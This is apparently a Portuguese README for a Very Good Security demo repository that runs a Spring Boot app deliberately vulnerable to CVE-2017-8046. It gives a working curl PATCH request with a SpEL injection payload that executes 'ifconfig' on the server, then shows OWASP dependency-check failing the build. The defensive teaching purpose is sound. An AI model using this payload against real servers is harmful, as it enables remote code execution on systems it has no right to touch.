
AVISO: Este repositório é complementar ao post do blog da VGS, Como Evitar "Usar Componentes com Vulnerabilidades Conhecidas". Ele contém uma aplicação com uma vulnerabilidade de segurança conhecida (a saber, CVE-2017-8046), bem como a descrição de como explorá-la. Use a aplicação por sua conta e risco!
Primeiro, inicie a aplicação executando o seguinte comando a partir da raiz do repositório:
mvn clean spring-boot:run
Em segundo lugar, crie um recurso enviando uma requisição POST como esta:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
Desde que você esteja executando a aplicação em um sistema operacional baseado em Unix (ex.: macOS), a resposta conterá a configuração de rede do host. Na verdade, qualquer expressão SpEL pode ser usada.
mvn clean package verify
A compilação falhará porque há uma dependência identificada com uma vulnerabilidade de alto risco:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
Quer começar direto? Confira nosso guia de início rápido.
A Very Good Security (VGS) permite que você melhore sua postura de segurança mantendo a utilidade dos seus dados internamente e com terceiros. Como benefício adicional, aceleramos seu processo de certificação de conformidade e ajudamos você a obter rapidamente as conformidades relacionadas à segurança que estão entre você e suas oportunidades de mercado.
Para saber mais, visite-nos em https://www.verygoodsecurity.com/
Este projeto está licenciado sob a licença MIT. Consulte o arquivo LICENSE para obter detalhes.